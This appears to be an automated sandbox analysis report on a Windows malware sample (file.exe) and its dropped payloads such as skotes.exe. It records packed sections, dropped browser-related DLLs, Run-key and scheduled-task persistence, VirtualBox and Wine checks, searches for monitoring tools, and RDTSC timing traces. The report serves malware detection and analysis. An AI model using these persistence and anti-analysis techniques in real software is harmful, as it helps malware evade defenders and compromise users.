Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.280000.0.unpack :EW;.rsrc :W;.idata :W; :EW;oweoibkj:EW;uwilijgs:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;oweoibkj:EW;uwilijgs:EW;.taggant:EW;
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Unpacked PE file: 22.2.DocumentsGHIJJEGDBF.exe.670000.0.unpack :EW;.rsrc:W;.idata :W;lguoomhs:EW;cbsrczut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lguoomhs:EW;cbsrczut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.cc0000.0.unpack :EW;.rsrc:W;.idata :W;lguoomhs:EW;cbsrczut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lguoomhs:EW;cbsrczut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.cc0000.0.unpack :EW;.rsrc:W;.idata :W;lguoomhs:EW;cbsrczut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lguoomhs:EW;cbsrczut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.cc0000.0.unpack :EW;.rsrc:W;.idata :W;lguoomhs:EW;cbsrczut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lguoomhs:EW;cbsrczut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Unpacked PE file: 28.2.3cb3eea49a.exe.8d0000.0.unpack :EW;.rsrc :W;.idata :W;pcnbbtdp:EW;swjacpww:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;pcnbbtdp:EW;swjacpww:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAE3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CAE3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: c41846ccfb.exe.26.dr	Static PE information: real checksum: 0x1b6c35 should be: 0x1b993c
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: real checksum: 0x31d812 should be: 0x316744
Source: 3cb3eea49a.exe.26.dr	Static PE information: real checksum: 0x303f32 should be: 0x30bcb3
Source: random[1].exe.26.dr	Static PE information: real checksum: 0x303f32 should be: 0x30bcb3
Source: file.exe	Static PE information: real checksum: 0x1b6c35 should be: 0x1b993c
Source: random[1].exe0.26.dr	Static PE information: real checksum: 0x1b6c35 should be: 0x1b993c
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x31d812 should be: 0x316744
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x31d812 should be: 0x316744

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: oweoibkj
Source: file.exe	Static PE information: section name: uwilijgs
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: lguoomhs
Source: random[1].exe.0.dr	Static PE information: section name: cbsrczut
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: section name:
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: section name: lguoomhs
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: section name: cbsrczut
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name: lguoomhs
Source: skotes.exe.22.dr	Static PE information: section name: cbsrczut
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name: pcnbbtdp
Source: random[1].exe.26.dr	Static PE information: section name: swjacpww
Source: random[1].exe.26.dr	Static PE information: section name: .taggant
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name:
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name: .rsrc
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name: .idata
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name: pcnbbtdp
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name: swjacpww
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: oweoibkj
Source: random[1].exe0.26.dr	Static PE information: section name: uwilijgs
Source: random[1].exe0.26.dr	Static PE information: section name: .taggant
Source: c41846ccfb.exe.26.dr	Static PE information: section name:
Source: c41846ccfb.exe.26.dr	Static PE information: section name: .rsrc
Source: c41846ccfb.exe.26.dr	Static PE information: section name: .idata
Source: c41846ccfb.exe.26.dr	Static PE information: section name:
Source: c41846ccfb.exe.26.dr	Static PE information: section name: oweoibkj
Source: c41846ccfb.exe.26.dr	Static PE information: section name: uwilijgs
Source: c41846ccfb.exe.26.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B536 push ecx; ret	0_2_6CB1B549
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_0068D91C push ecx; ret	22_2_0068D92F
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_00681359 push es; ret	22_2_0068135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CDD91C push ecx; ret	23_2_00CDD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00CDD91C push ecx; ret	24_2_00CDD92F

Source: file.exe	Static PE information: section name: oweoibkj entropy: 7.953792362930636
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.145414009446794
Source: DocumentsGHIJJEGDBF.exe.0.dr	Static PE information: section name: entropy: 7.145414009446794
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.145414009446794
Source: random[1].exe.26.dr	Static PE information: section name: entropy: 6.980321816579482
Source: 3cb3eea49a.exe.26.dr	Static PE information: section name: entropy: 6.980321816579482
Source: random[1].exe0.26.dr	Static PE information: section name: oweoibkj entropy: 7.953792362930636
Source: c41846ccfb.exe.26.dr	Static PE information: section name: oweoibkj entropy: 7.953792362930636

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGHIJJEGDBF.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsGHIJJEGDBF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGHIJJEGDBF.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGHIJJEGDBF.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsGHIJJEGDBF.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cb3eea49a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cb3eea49a.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB455F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CB455F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64832D second address: 648333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648333 second address: 648339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648339 second address: 64833F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64833F second address: 648344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6475E8 second address: 647608 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9AD4C553C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647608 second address: 64761C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007F9AD51D02A6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F9AD51D02A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647794 second address: 647798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647798 second address: 64779E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647B8A second address: 647B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647B8E second address: 647BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD51D02B9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c jo 00007F9AD51D02C5h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B8C1 second address: 64B964 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b add dword ptr [esp], 2054A297h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F9AD4C553B8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000003h 0x0000002e jmp 00007F9AD4C553BBh 0x00000033 push 00000000h 0x00000035 movsx edi, cx 0x00000038 movsx edi, si 0x0000003b push 00000003h 0x0000003d jo 00007F9AD4C553B9h 0x00000043 movzx ecx, cx 0x00000046 call 00007F9AD4C553B9h 0x0000004b je 00007F9AD4C553C7h 0x00000051 jo 00007F9AD4C553C1h 0x00000057 jmp 00007F9AD4C553BBh 0x0000005c push eax 0x0000005d jmp 00007F9AD4C553C1h 0x00000062 mov eax, dword ptr [esp+04h] 0x00000066 jng 00007F9AD4C553D0h 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F9AD4C553BEh 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B964 second address: 64B989 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9AD51D02A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9AD51D02B5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B989 second address: 64B993 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B993 second address: 64BA0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F9AD51D02B4h 0x00000012 pop eax 0x00000013 sub edi, dword ptr [ebp+122D2C48h] 0x00000019 lea ebx, dword ptr [ebp+1244F764h] 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F9AD51D02A8h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 mov edx, 6DBA03A6h 0x0000003e jp 00007F9AD51D02ABh 0x00000044 push eax 0x00000045 je 00007F9AD51D02B4h 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BA0F second address: 64BA15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BA68 second address: 64BA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BA6E second address: 64BA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9AD4C553C5h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BA8E second address: 64BACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d pushad 0x0000000e add edx, 6ACAB6FEh 0x00000014 mov esi, dword ptr [ebp+122D3676h] 0x0000001a popad 0x0000001b push 00000000h 0x0000001d add esi, 4364D2F3h 0x00000023 push 80C76F9Ah 0x00000028 pushad 0x00000029 jmp 00007F9AD51D02B3h 0x0000002e push eax 0x0000002f push edx 0x00000030 push esi 0x00000031 pop esi 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BB89 second address: 64BB9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
